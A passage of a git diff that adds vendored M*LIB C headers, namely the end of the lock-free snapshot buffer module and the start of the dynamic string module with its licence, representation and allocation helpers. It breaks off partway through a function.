+/* Perform a swap of the current write buffer and return a new one */
+M_INLINE unsigned int
+m_snapsh0t_mrsw_write(m_snapsh0t_mrsw_ct s)
+{
+  s->currentWrite = m_snapsh0t_mrsw_write_idx(s, s->currentWrite);
+  M_SNAPSH0T_SPMC_INT_CONTRACT(s);
+  return s->currentWrite;
+}
+
+/* Start writing to the write buffer and return its index */
+M_INLINE unsigned int
+m_snapsh0t_mrsw_write_start(m_snapsh0t_mrsw_ct s)
+{
+  M_SNAPSH0T_SPMC_INT_CONTRACT(s);
+  // Get a new buffer.
+  unsigned int idx = m_genint_pop(s->freeList);
+  M_ASSERT (idx != M_GENINT_ERROR);
+  M_ASSERT (idx < s->n_reader + M_SNAPSH0T_SPMC_EXTRA_BUFFER);
+  M_ASSERT (atomic_load(&s->cptTab[idx]) == 0);
+  atomic_store(&s->cptTab[idx], 1U);
+  M_SNAPSH0T_SPMC_INT_CONTRACT(s);
+  return idx;
+}
+
+/* End writing to the given write buffer */
+M_INLINE void
+m_snapsh0t_mrsw_write_end(m_snapsh0t_mrsw_ct s, unsigned int idx)
+{
+  M_SNAPSH0T_SPMC_INT_CONTRACT(s);
+
+  // Provide this write buffer to the readers
+  unsigned int newNext, previous = atomic_load(&s->lastNext);
+  do {
+    newNext = M_SNAPSH0T_SPMC_INT_FLAG(idx, true);
+  } while (!atomic_compare_exchange_weak(&s->lastNext, &previous, newNext));
+
+  // Free the previous write buffer
+  idx = M_SNAPSH0T_SPMC_INT_FLAG_W(previous);
+  unsigned int c = atomic_fetch_sub(&s->cptTab[idx], 1U);
+  M_ASSERT (c != 0 && c <= s->n_reader + 1);
+  if (c == 1) {
+    m_genint_push(s->freeList, idx);
+  }
+  M_SNAPSH0T_SPMC_INT_CONTRACT(s);
+}
+
+/* Start reading the latest written buffer and return the index to it */
+M_INLINE unsigned int
+m_snapsh0t_mrsw_read_start(m_snapsh0t_mrsw_ct s)
+{
+  M_SNAPSH0T_SPMC_INT_CONTRACT(s);
+  unsigned int idx, previous;
+ reload:
+  // Load the last published index + Next flag
+  previous = atomic_load(&s->lastNext);
+  while (true) {
+    // Get the last published index
+    idx = M_SNAPSH0T_SPMC_INT_FLAG_W(previous);
+    // Load the number of threads using this index
+    unsigned int c = atomic_load(&s->cptTab[idx]);
+    M_ASSERT (c <= s->n_reader + 1);
+    // Reserve the index if it still being reserved by someone else
+    if (M_UNLIKELY (c == 0
+                    || !atomic_compare_exchange_strong(&s->cptTab[idx], &c, c+1)))
+      goto reload;
+    // Try to ack it
+    unsigned int newNext = M_SNAPSH0T_SPMC_INT_FLAG(idx, false);
+  reforce:
+    if (M_LIKELY (atomic_compare_exchange_strong(&s->lastNext, &previous, newNext)))
+      break;
+    // We have been preempted by another thread
+    if (idx == M_SNAPSH0T_SPMC_INT_FLAG_W(previous)) {
+      // This is still ok if the index has not changed
+      // We can get previous to true again if the writer has recycled the index,
+      // while we reserved it, and the reader get preempted until its CAS.
+      if (M_UNLIKELY (M_SNAPSH0T_SPMC_INT_FLAG_N(previous) == true)) goto reforce;
+      break;
+    }
+    // Free the reserved index as we failed it to ack it
+    c = atomic_fetch_sub(&s->cptTab[idx], 1U);
+    M_ASSERT (c != 0 && c <= s->n_reader + 1);
+    if (c == 1) {
+      m_genint_push(s->freeList, idx);
+    }
+  }
+  M_SNAPSH0T_SPMC_INT_CONTRACT(s);
+  return idx;
+}
+
+/* End the reading the given buffer */
+M_INLINE void
+m_snapsh0t_mrsw_read_end(m_snapsh0t_mrsw_ct s, unsigned int idx)
+{
+  M_SNAPSH0T_SPMC_INT_CONTRACT(s);
+  M_ASSERT (idx < s->n_reader + M_SNAPSH0T_SPMC_EXTRA_BUFFER);
+  // Decrement reference counter of the buffer
+  unsigned int c = atomic_fetch_sub(&s->cptTab[idx], 1U);
+  M_ASSERT (c != 0 && c <= s->n_reader + 1);
+  if (c == 1) {
+    // Buffer no longer used by any reader thread.
+    // Push back index in free list
+    m_genint_push(s->freeList, idx);
+  }
+  M_SNAPSH0T_SPMC_INT_CONTRACT(s);
+}
+
+
+/********************************** INTERNAL *********************************/
+
+/* Contract of a SPMC snapshot.
+   Nothing notable as it can be accessed concurrently */
+#define M_SNAPSH0T_SPMC_CONTRACT(snap) do {                                   \
+    M_ASSERT (snap != NULL);                                                  \
+    M_ASSERT (snap->data != NULL);                                            \
+  } while (0)
+
+
+// Deferred evaluation
+#define M_SNAPSH0T_SPMC_DEF_P1(arg)        M_ID( M_SNAPSH0T_SPMC_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_SNAPSH0T_SPMC_DEF_P2(name, type, oplist, snapshot_t)                \
+  M_IF_OPLIST(oplist)(M_SNAPSH0T_SPMC_DEF_P3, M_SNAPSH0T_SPMC_DEF_FAILURE)(name, type, oplist, snapshot_t)
+
+/* Stop processing with a compilation failure */
+#define M_SNAPSH0T_SPMC_DEF_FAILURE(name, type, oplist, snapshot_t)           \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(SNAPSHOT_SPMC_DEF): the given argument is not a valid oplist: " #oplist)
+
+/* Expand the type and the functions of a SPMC snapshot */
+#define M_SNAPSH0T_SPMC_DEF_P3(name, type, oplist, snapshot_t)                \
+  M_SNAPSH0T_SPMC_DEF_TYPE(name, type, oplist, snapshot_t)                    \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_SNAPSH0T_SPMC_DEF_CORE(name, type, oplist, snapshot_t)                    \
+
+/* Define the type */
+#define M_SNAPSH0T_SPMC_DEF_TYPE(name, type, oplist, snapshot_t)              \
+                                                                              \
+  /* Create an aligned type to avoid false sharing between threads */         \
+  typedef struct M_F(name, _aligned_type_s) {                                 \
+    type         x;                                                           \
+    M_CACHELINE_ALIGN(align, type);                                           \
+  } M_F(name, _aligned_type_ct);                                              \
+                                                                              \
+  typedef struct M_F(name, _s) {                                              \
+    M_F(name, _aligned_type_ct)  *data;                                       \
+    m_snapsh0t_mrsw_ct          core;                                         \
+  } snapshot_t[1];                                                            \
+                                                                              \
+  /* Define internal types for oplist */                                      \
+  typedef snapshot_t M_F(name, _ct);                                          \
+  typedef type       M_F(name, _subtype_ct);                                  \
+
+/* Define the core functions */
+#define M_SNAPSH0T_SPMC_DEF_CORE(name, type, oplist, snapshot_t)              \
+                                                                              \
+  M_P(void, name, _init, snapshot_t snap, size_t nReader)                     \
+  {                                                                           \
+    M_ASSERT (snap != NULL);                                                  \
+    M_ASSERT (nReader > 0 && nReader <= M_SNAPSH0T_SPMC_MAX_READER);          \
+    snap->data = M_CALL_REALLOC(oplist, M_F(name, _aligned_type_ct),          \
+                                NULL, 0, nReader+M_SNAPSH0T_SPMC_EXTRA_BUFFER); \
+    if (M_UNLIKELY_NOMEM (snap->data == NULL)) {                              \
+      M_MEMORY_FULL(M_F(name, _aligned_type_ct),                              \
+                    (nReader+M_SNAPSH0T_SPMC_EXTRA_BUFFER));                  \
+    }                                                                         \
+    for(size_t i = 0; i < nReader + M_SNAPSH0T_SPMC_EXTRA_BUFFER; i++) {      \
+      M_CALL_INIT(oplist, snap->data[i].x);                                   \
+    }                                                                         \
+    m_snapsh0t_mrsw_init M_R(snap->core, nReader);                            \
+    M_SNAPSH0T_SPMC_CONTRACT(snap);                                           \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _clear, snapshot_t snap)                                    \
+  {                                                                           \
+    M_SNAPSH0T_SPMC_CONTRACT(snap);                                           \
+    size_t nReader = m_snapsh0t_mrsw_size(snap->core);                        \
+    for(size_t i = 0; i < nReader + M_SNAPSH0T_SPMC_EXTRA_BUFFER; i++) {      \
+      M_CALL_CLEAR(oplist, snap->data[i].x);                                  \
+    }                                                                         \
+    M_CALL_FREE(oplist, M_F(name, _aligned_type_ct), snap->data, nReader + M_SNAPSH0T_SPMC_EXTRA_BUFFER); \
+    m_snapsh0t_mrsw_clear M_R(snap->core);                                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _write)(snapshot_t snap)                                          \
+  {                                                                           \
+    M_SNAPSH0T_SPMC_CONTRACT(snap);                                           \
+    const unsigned int idx = m_snapsh0t_mrsw_write(snap->core);               \
+    return &snap->data[idx].x;                                                \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _read_start)(snapshot_t snap)                                     \
+  {                                                                           \
+    M_SNAPSH0T_SPMC_CONTRACT(snap);                                           \
+    const unsigned int idx = m_snapsh0t_mrsw_read_start(snap->core);          \
+    return M_CONST_CAST(type, &snap->data[idx].x);                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _read_end)(snapshot_t snap, type const *old)                      \
+  {                                                                           \
+    M_SNAPSH0T_SPMC_CONTRACT(snap);                                           \
+    M_ASSERT (old != NULL);                                                   \
+    const M_F(name, _aligned_type_ct) *oldx;                                  \
+    oldx = M_CTYPE_FROM_FIELD(M_F(name, _aligned_type_ct), old, type, x);     \
+    M_ASSERT (oldx >= snap->data);                                            \
+    M_ASSERT (oldx < snap->data + snap->core->n_reader + M_SNAPSH0T_SPMC_EXTRA_BUFFER); \
+    M_ASSERT(snap->core->n_reader +M_SNAPSH0T_SPMC_EXTRA_BUFFER < UINT_MAX);  \
+    const unsigned int idx = (unsigned int) (oldx - snap->data);              \
+    m_snapsh0t_mrsw_read_end(snap->core, idx);                                \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _get_write_buffer)(snapshot_t snap)                               \
+  {                                                                           \
+    M_SNAPSH0T_SPMC_CONTRACT(snap);                                           \
+    const unsigned int idx = m_snapsh0t_mrsw_get_write_idx(snap->core);       \
+    return &snap->data[idx].x;                                                \
+  }                                                                           \
+                                                                              \
+
+
+/********************************** INTERNAL *********************************/
+
+// MPMC is built upon SPMC
+
+// Deferred evaluation
+#define M_SNAPSH0T_MPMC_DEF_P1(arg)        M_ID( M_SNAPSH0T_MPMC_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_SNAPSH0T_MPMC_DEF_P2(name, type, oplist, snapshot_t)                \
+  M_IF_OPLIST(oplist)(M_SNAPSH0T_MPMC_DEF_P3, M_SNAPSH0T_MPMC_DEF_FAILURE)(name, type, oplist, snapshot_t)
+
+/* Stop processing with a compilation failure */
+#define M_SNAPSH0T_MPMC_DEF_FAILURE(name, type, oplist, snapshot_t)           \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(SNAPSHOT_MPMC_DEF): the given argument is not a valid oplist: " #oplist)
+
+/* Expand the type and the functions of a MPMC snapshot */
+#define M_SNAPSH0T_MPMC_DEF_P3(name, type, oplist, snapshot_t)                \
+  M_SNAPSH0T_SPMC_DEF_P1((M_F(name, _mrsw), type, oplist, M_F(name, _mrsw_pct))) \
+  M_SNAPSH0T_MPMC_DEF_TYPE(name, type, oplist, snapshot_t)                    \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_SNAPSH0T_MPMC_DEF_CORE(name, type, oplist, snapshot_t)                    \
+
+/* Define the types */
+#define M_SNAPSH0T_MPMC_DEF_TYPE(name, type, oplist, snapshot_t)              \
+                                                                              \
+  typedef struct M_F(name, _s) {                                              \
+    M_F(name, _mrsw_pct)  core;                                               \
+  } snapshot_t[1];                                                            \
+                                                                              \
+  /* Define internal types for oplist */                                      \
+  typedef snapshot_t M_F(name, _ct);                                          \
+  typedef type       M_F(name, _subtype_ct);                                  \
+
+/* Define the core functions */
+#define M_SNAPSH0T_MPMC_DEF_CORE(name, type, oplist, snapshot_t)              \
+                                                                              \
+  M_P(void, name, _init, snapshot_t snap, size_t nReader, size_t nWriter)     \
+  {                                                                           \
+    M_F(name, _mrsw_init)M_R(snap->core, nReader + nWriter -1 );              \
+    unsigned int idx = snap->core->core->currentWrite;                        \
+    snap->core->core->currentWrite = M_GENINT_ERROR;                          \
+    m_snapsh0t_mrsw_write_end(snap->core->core, idx);                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _clear, snapshot_t snap)                                    \
+  {                                                                           \
+    M_F(name, _mrsw_clear)M_R(snap->core);                                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _write_start)(snapshot_t snap)                                    \
+  {                                                                           \
+    M_SNAPSH0T_SPMC_CONTRACT(snap->core);                                     \
+    const unsigned int idx = m_snapsh0t_mrsw_write_start(snap->core->core);   \
+    return &snap->core->data[idx].x;                                          \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _write_end)(snapshot_t snap, type *old)                           \
+  {                                                                           \
+    M_SNAPSH0T_SPMC_CONTRACT(snap->core);                                     \
+    const M_F(name, _mrsw_aligned_type_ct) *oldx;                             \
+    oldx = (const M_F(name, _mrsw_aligned_type_ct) *) old;                    \
+    M_ASSERT (oldx >= snap->core->data);                                      \
+    M_ASSERT (oldx < snap->core->data + snap->core->core->n_reader + M_SNAPSH0T_SPMC_EXTRA_BUFFER); \
+    M_ASSERT(snap->core->core->n_reader + M_SNAPSH0T_SPMC_EXTRA_BUFFER < UINT_MAX); \
+    const unsigned int idx = (unsigned int) (oldx - snap->core->data);        \
+    m_snapsh0t_mrsw_write_end(snap->core->core, idx);                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _read_start)(snapshot_t snap)                                     \
+  {                                                                           \
+    return M_F(name, _mrsw_read_start)(snap->core);                           \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _read_end)(snapshot_t snap, type const *old)                      \
+  {                                                                           \
+    M_F(name, _mrsw_read_end)(snap->core, old);                               \
+  }                                                                           \
+                                                                              \
+
+//FIXME: Evaluate the needs for the methods _set_, _init_set.
+
+M_END_PROTECTED_CODE
+
+/********************************** INTERNAL *********************************/
+
+#if M_USE_SMALL_NAME
+#define SNAPSHOT_SPSC_DEF M_SNAPSHOT_SPSC_DEF
+#define SNAPSHOT_SPSC_DEF_AS M_SNAPSHOT_SPSC_DEF_AS
+#define SNAPSHOT_SPMC_DEF M_SNAPSHOT_SPMC_DEF
+#define SNAPSHOT_SPMC_DEF_AS M_SNAPSHOT_SPMC_DEF_AS
+#define SNAPSHOT_MPMC_DEF M_SNAPSHOT_MPMC_DEF
+#define SNAPSHOT_MPMC_DEF_AS M_SNAPSHOT_MPMC_DEF_AS
+#define SNAPSHOT_OPLIST M_SNAPSHOT_OPLIST
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-string.h b/lib/subghz_unleashed_compat/include/mlib/m-string.h
new file mode 100644
index 000000000..dc1f44732
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-string.h
@@ -0,0 +1,2886 @@
+/*
+ * M*LIB - Dynamic Size String Module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#ifndef MSTARLIB_STRING_H
+#define MSTARLIB_STRING_H
+
+#include "m-core.h"
+
+M_BEGIN_PROTECTED_CODE
+
+/********************************** INTERNAL ************************************/
+
+// This macro defines the contract of a string.
+// Note: A ==> B is represented as not(A) or B
+// Note: use of strlen can slow down a lot the program in some cases.
+#define M_STR1NG_CONTRACT(v) do {                                             \
+    M_ASSERT (v != NULL);                                                     \
+    M_ASSERT_SLOW (m_string_size(v) == strlen(m_string_get_cstr(v)));         \
+    M_ASSERT (m_string_get_cstr(v)[m_string_size(v)] == 0);                   \
+    M_ASSERT (m_string_size(v) < m_string_capacity(v));                       \
+  } while(0)
+
+/* Define the maximum size of a string
+   By default it is a little bit less than 2^32 bytes, which should be enough for
+   most programs. Otherwise it can be increased. */
+#ifdef M_USE_STRING_LARGE_INDEX
+typedef uint64_t m_str1ng_size_t;
+#define m_str1ng_size_clz m_core_clz64
+#else
+typedef uint32_t m_str1ng_size_t;
+#define m_str1ng_size_clz m_core_clz32
+#endif
+
+// The string representation if it heap allocated
+typedef struct m_str1ng_heap_s {
+  char *ptr;
+  m_str1ng_size_t size;
+  unsigned char   alloc[sizeof (m_str1ng_size_t)];
+} m_str1ng_heap_ct;
+
+/* Define the union between a heap allocated string and its inline representation
+  If buffer[sizeof(m_str1ng_heap_ct)-2] == 0 then
+    It is a embedded based string where buffer is the string, with a maximum allocation of 15 bytes
+    In this case buffer[sizeof(m_str1ng_heap_ct)-1] is the size of the string
+  Otherwise it is a heap representation then
+    ptr is the pointer to the data, size its size, and alloc a representation of the capacity:
+        alloc[sizeof (m_str1ng_size_t)-2] << alloc[sizeof (m_str1ng_size_t)-1]
+  we shall have alloc[sizeof (m_str1ng_size_t)-2] == buffer[sizeof(m_str1ng_heap_ct)-2]
+  so that in case of heap representation, the field buffer[sizeof(m_str1ng_heap_ct)-2] is != 0
+*/
+typedef union m_str1ng_union_u {
+  m_str1ng_heap_ct  heap;
+  char              buffer[sizeof (m_str1ng_heap_ct)];
+} m_str1ng_union_ct;
+
+/* State of the UTF8 decoding machine state */
+typedef enum {
+  M_STR1NG_UTF8_STARTING = 0,
+  M_STR1NG_UTF8_DECODING_1 = 8,
+  M_STR1NG_UTF8_DECODING_2 = 16,
+  M_STR1NG_UTF8_DECODING_3 = 24,
+  M_STR1NG_UTF8_ERROR = 32
+} m_str1ng_utf8_state_e;
+
+/* Maximum number of bytes per UTF8 code point */
+#define M_STR1NG_MAX_BYTE_UTF8 4
+
+/* Contract for a string iterator */
+#define M_STR1NG_IT_CONTRACT(it) do {                                         \
+  M_ASSERT( (it) != NULL);                                                    \
+  M_ASSERT( (it)->ptr != NULL);                                               \
+  M_ASSERT( (it)->string != NULL);                                            \
+  M_ASSERT( m_string_get_cstr((it)->string) <= (it)->ptr);                    \
+  M_ASSERT( (it)->ptr <= &m_string_get_cstr((it)->string)[m_string_size((it)->string)]); \
+} while (0)
+
+
+/****************************** EXTERNAL *******************************/
+
+/***********************************************************************/
+/*                                                                     */
+/*                           DYNAMIC     STRING                        */
+/*                                                                     */
+/***********************************************************************/
+
+// The default behavior of M*LIB is to use the C library
+// and not rewrite the algorithms. However, the fast code
+// generates also smaller code, so we'll use it.
+#ifndef M_USE_FAST_STRING_CONV
+#define M_USE_FAST_STRING_CONV 1
+#endif
+
+/* Index returned in case of error instead of the position within the string */
+#define M_STRING_FAILURE ((size_t)-1)
+
+/* This is the main structure of this module, representing a dynamic string */
+typedef struct m_string_s {
+  m_str1ng_union_ct u;
+} m_string_t[1];
+
+// Pointer to a Dynamic string
+typedef struct m_string_s *m_string_ptr;
+
+// Constant pointer to a Dynamic string
+typedef const struct m_string_s *m_string_srcptr;
+
+/* Input option for m_string_fgets 
+   M_STRING_READ_LINE  (read line), 
+   M_STRING_READ_PURE_LINE (read line and remove final CR and/or LF)
+   M_STRING_READ_FILE (read all file)
+*/
+typedef enum m_string_fgets_e {
+  M_STRING_READ_LINE = 0, M_STRING_READ_PURE_LINE = 1, M_STRING_READ_FILE = 2
+} m_string_fgets_t;
+
+/* An unicode code point */
+typedef uint32_t m_string_unicode_t;
+
+/* Error in case of decoding */
+#define M_STRING_UNICODE_ERROR (UINT_MAX)
+
+/* Iterator on a string over UTF8 encoded code points */
+typedef struct m_string_it_s {
+  m_string_unicode_t u;            // Decoded Unicode code point for the iterator
+  const char *ptr;
+  m_string_srcptr string;
+} m_string_it_t[1];
+
+/* PREFIX:
+   m_str1ng_: private methods
+   m_string_: public methods
+*/
+
+/* Internal method to test if the characters of the string are fully embedded in the struct, 
+   or if the characters are allocated on the heap.
+   Embedded representation ensures that the penultimate byte is 0.
+   By encoding, we ensure that the penultimate byte of 'alloc' (of the heap representation)
+   cannot be 0.
+ */
+M_INLINE bool
+m_str1ng_embedded_p(const m_string_t s)
+{
+  // Function can be called when contract is not fulfilled
+  return (s->u.buffer[sizeof(m_str1ng_heap_ct)-2] == 0);
+}
+
+/* Internal method to set the size of the string (excluding final nul char) */
+M_INLINE void
+m_str1ng_set_size(m_string_t s, size_t size)
+{
+  // Function can be called when contract is not fulfilled
+  if (m_str1ng_embedded_p(s)) {
+    M_ASSERT (size < sizeof (m_str1ng_heap_ct) - 1);
+    // The size of the string is stored as the last char of the buffer.
+    s->u.buffer[sizeof(m_str1ng_heap_ct)-1] = (char) size;
+  } else {
+    M_ASSUME(size == (m_str1ng_size_t) size);
+    s->u.heap.size = (m_str1ng_size_t) size;
+  }
+}
+
+/* Return the number of bytes of the string (excluding the final nul char) */
+M_INLINE size_t
+m_string_size(const m_string_t s)
+{
+  // Function can be called when contract is not fulfilled
+  const size_t s_embed = (size_t) s->u.buffer[sizeof(m_str1ng_heap_ct)-1];
+  const size_t s_heap  = s->u.heap.size;
+  return m_str1ng_embedded_p(s) ?  s_embed : s_heap;
+}
+
+/* Return the capacity of the string (including the final nul char) */
+M_INLINE size_t
+m_string_capacity(const m_string_t s)
+{
+  // Function can be called when contract is not fulfilled
+  const size_t c_embed = sizeof (m_str1ng_heap_ct) - 1;
+  const size_t c_heap  = (m_str1ng_size_t) s->u.heap.alloc[sizeof (m_str1ng_size_t)-2] << s->u.heap.alloc[sizeof (m_str1ng_size_t)-1];
+  return m_str1ng_embedded_p(s) ?  c_embed : c_heap;
+}
+
+/* Internal function to round up the allocation size to the next allowed representation
+   Return the rounded allocation and the pair (m,e) used to encode it
+   An overflow occurs if the result is strictly lower than 'alloc' before casting. 
+    */
+M_INLINE m_str1ng_size_t
+m_str1ng_round_capacity(unsigned char *m, unsigned char *e, m_str1ng_size_t alloc)
+{
+  // We will encode 'alloc' as a number m<<e with (m,e) being unsigned char.
+  // alloc is strictly greater than 0, but with casting to m_str1ng_size_t, it may be 0.
+  // Compute the number of bits needed to represent 'alloc'
+  unsigned b = (unsigned) sizeof(m_str1ng_size_t) * CHAR_BIT - m_str1ng_size_clz(alloc);
+  if (b <= CHAR_BIT) {
+    // It can be fully representable. No rounding needed.
+    *m = (unsigned char) alloc;
+    *e = 0;
+  } else {
+    /* It cannot be fully represented: Round it to the next upper representation of m << e
+       with m and e unsigned char.
+       Keep only the '7' upper bits of alloc, and round it to the next representation so that
+       m << e is bigger or equal to alloc.
+       Worst case is when alloc = 0x7F01 (i.e. all 7 upper bits are 1)
+       Performing the rounding will generate a carry, so we get for mantissa 0x80 which is on 8 bits.
+       That's why we shift by '7' and not by '8', so that 0x80 remains representable as an
+       unsigned char. Otherwise we would need to take into account this case, and shift mantissa by
+       one and increase exponent by one.
+       If alloc was >= 0xFE000001, rounding will overflow the max of a m_str1ng_size_t
+       and *m == 0.
+       This case should be handled by the caller as an overflow error
+       (return value is lower than input)
+    */
+    *m = (unsigned char) ((alloc + ((1U <<(b-(CHAR_BIT-1)))-1))>>(b-(CHAR_BIT-1)));
+    *e = (unsigned char) (b - (CHAR_BIT-1));
+  }
+  // Worst case is when the rounding overflow the size m_str1ng_size_t
+  M_ASSERT (((m_str1ng_size_t) *m << *e) >= alloc || *m == 0);
+  return (m_str1ng_size_t) *m << *e;
+}
+
+/* Internal function to save the allocation size to the next allowed representation
+  as returned by m_str1ng_round_capacity */
+M_INLINE void
+m_str1ng_set_capacity(m_string_t s, unsigned char m, unsigned char e)
+{
+  // Function can be called when contract is not fulfilled
+  M_ASSERT(m != 0);
+  s->u.heap.alloc[sizeof (m_str1ng_size_t)-2] = m;
+  s->u.heap.alloc[sizeof (m_str1ng_size_t)-1] = e;
+}
+
+/* Return a writable pointer to the array of char of the string */
+M_INLINE char*
+m_str1ng_get_cstr(m_string_t v)
+{
+  // Function can be called when contract is not fulfilled
+  char *const ptr_embed = &v->u.buffer[0];
+  char *const ptr_heap  = v->u.heap.ptr;
+  return m_str1ng_embedded_p(v) ?  ptr_embed : ptr_heap;
+}
+
+/* Return the string view a classic C string (const char *) */
+M_INLINE const char*
+m_string_get_cstr(const m_string_t v)
+{
+  // Function cannot be called when contract is not fulfilled
+  // but it is called by contract (so no contract check to avoid infinite recursion).
+  const char *const ptr_embed = &v->u.buffer[0];
+  const char *const ptr_heap  = v->u.heap.ptr;
+  return m_str1ng_embedded_p(v) ?  ptr_embed : ptr_heap;
+}
+
+/* Initialize the dynamic string (constructor) 
+  and make it empty */
+M_INLINE void
+m_string_init(m_string_t s)
+{
+  memset(s, 0, sizeof(m_string_t));
+  M_STR1NG_CONTRACT(s);
+}
+
+/* Clear the Dynamic string (destructor) */
+M_P(void, m_string, _clear, m_string_t v)
+{
+  M_STR1NG_CONTRACT(v);
+  if (!m_str1ng_embedded_p(v)) {    
+    M_MEMORY_FREE(m_context, char, v->u.heap.ptr, m_string_capacity(v));
+    v->u.heap.ptr   = NULL;
+  }
+  /* This is not needed but is safer to make
+     the string invalid so that it can be detected. */
+  v->u.buffer[sizeof(m_str1ng_heap_ct)-2] = 0;
+  v->u.buffer[sizeof(m_str1ng_heap_ct)-1] = CHAR_MAX;
+}
+
+M_INLINE m_string_ptr m_str1ng_init_ref(m_string_t v) { m_string_init(v); return v; }
+
+/* Clear the Dynamic string (destructor)
+  and return a heap pointer to the string.
+  The ownership of the data is transferred back to the caller
+  and the returned pointer has to be released by M_MEMORY_FREE. */
+M_P(char *, m_string, _clear_get_cstr, m_string_t v)
+{
+  M_STR1NG_CONTRACT(v);
+  char *p = v->u.heap.ptr;
+  if (m_str1ng_embedded_p(v)) {
+    // The characters are embedded in the string.
+    p = &v->u.buffer[0];
+    // Need to allocate a heap string to return the copy.
+    size_t alloc = m_string_size(v)+1;
+    char *ptr = M_MEMORY_REALLOC (m_context, char, NULL, 0, alloc);
+    if (M_UNLIKELY_NOMEM (ptr == NULL)) {
+      M_MEMORY_FULL(char, alloc);
+    }
+    M_ASSERT(ptr != NULL && p != NULL);
+    memcpy(ptr, p, alloc);
+    p = ptr;
+  }
+  v->u.buffer[sizeof(m_str1ng_heap_ct)-2] = 0;
+  v->u.buffer[sizeof(m_str1ng_heap_ct)-1] = CHAR_MAX;
+  return p;
+}
+
+/* Make the string empty */
+M_INLINE void
+m_string_reset(m_string_t v)
+{
+  M_STR1NG_CONTRACT (v);
+  m_str1ng_set_size(v, 0);
+  m_str1ng_get_cstr(v)[0] = 0;
+  M_STR1NG_CONTRACT (v);
+}
+
+/* Return the selected byte-character of the string */
+M_INLINE char
+m_string_get_char(const m_string_t v, size_t index)
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT_INDEX(index, m_string_size(v));
+  return m_string_get_cstr(v)[index];
+}
+
+/* Set the selected byte-character of the string */
+M_INLINE void
+m_string_set_char(m_string_t v, size_t index, const char c)
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT_INDEX(index, m_string_size(v));
+  m_str1ng_get_cstr(v)[index] = c;
+}
+
+/* Test if the string is empty or not */
+M_INLINE bool
+m_string_empty_p(const m_string_t v)
+{
+  M_STR1NG_CONTRACT (v);
+  return m_string_size(v) == 0;
+}
+
+/* Internal method to fit the string to the given size
+   Ensures that the string capacity is greater than size_alloc
+   (size_alloc shall include the final null char).
+   It may transform the string from embedded based to heap based.
+   The string 'v' no longer has a working size field.
+   Return a pointer to the writable string.
+*/
+M_P(char *, m_str1ng, _fit2size, m_string_t v, size_t size_alloc)
+{
+  M_ASSERT_INDEX (0, size_alloc);
+  // Note: this function may be called in context where the contract
+  // is not fulfilled.
+  const size_t old_alloc = m_string_capacity(v);
+  // This line enables the compiler to completely remove this function
+  // for very short constant strings.
+  M_ASSUME(old_alloc >= sizeof (m_str1ng_heap_ct) - 1);
+  if (M_UNLIKELY (size_alloc > old_alloc)) {
+    // Insufficient current allocation to store the new string
+    // Perform an allocation on the heap.
+    size_t alloc = (size_alloc + size_alloc / 2);
+    unsigned char m, e;
+    alloc = m_str1ng_round_capacity(&m, &e, (m_str1ng_size_t) alloc);
+    if (M_UNLIKELY_NOMEM (alloc <= size_alloc)) {
+      /* Overflow in alloc computation */
+      M_MEMORY_FULL(char, size_alloc);
+    }
+    char *ptr = m_str1ng_embedded_p(v) ? NULL : v->u.heap.ptr;
+    //FIXME: old_alloc may not be NULL if ptr is NULL.
+    ptr = M_MEMORY_REALLOC (m_context, char, ptr, old_alloc, alloc);
+    if (M_UNLIKELY_NOMEM (ptr == NULL)) {
+      M_MEMORY_FULL(char, alloc);
+    }
+    // The pointer cannot be the embedded buffer of the string as it is heap allocated
+    M_ASSERT(ptr != &v->u.buffer[0]);
+    if (m_str1ng_embedded_p(v)) {
+      // The string was fully embedded.
